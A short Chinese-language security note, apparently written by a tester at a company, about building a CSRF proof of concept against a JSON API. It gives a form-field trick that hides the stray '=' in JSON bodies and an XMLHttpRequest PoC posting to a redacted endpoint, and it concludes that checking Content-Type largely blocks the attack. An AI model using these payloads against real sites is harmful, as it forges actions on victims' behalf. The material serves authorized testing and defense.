背景介绍
公司需要上线新业务,发现了有个应用没有对CSRF做防护,本来想着使用burpsuite简单的生成一个POC就可以产出了。结果发现如下问题,在使用form的表格进行CSRF poc生成。
1,如果使用form的话,生成的内容会多一个 ‘=’ 号,结果导致json不能很好的解析,绕过办法:<code>name='{"added":[{"id":1,"title":"test"}],"ignore_me":"' value='test"}'/></code>
2,如果应用对content-type:application/json;utf-8 做了检查,那么由于form的enctype的限制,所以无法修改。
3,使用xmlhttp
<code>
<html>
<script language="javascript" type="text/javascript">
function jsonreq()
{
var xmlhttp = new XMLHttpRequest();
xmlhttp.open("POST","http://xxx.xxx.com/api/xxx",true);
xmlhttp.setRequestHeader("Content-Type","application/json;charset=UTF-8");
xmlhttp.send(JSON.stringify({"_xxx":null,"category":"internet","xxx":"project","description":"csrf","recent":[0,0,0,0,0],"task":{"total":0,"done":0,"today":0},"navigation":{"home":0,"tasks":1,"posts":2,"files":3,"events":4,"review":5,"tag":6,"xxx":-1},"logo":null,"name":"localcsrf"}));;
}
jsonreq();
</script>
</html>
</code>
由于同源策略,所以很难有什么绕过方法。
目前发现如果对content-type做了检查,CSRF很难实现。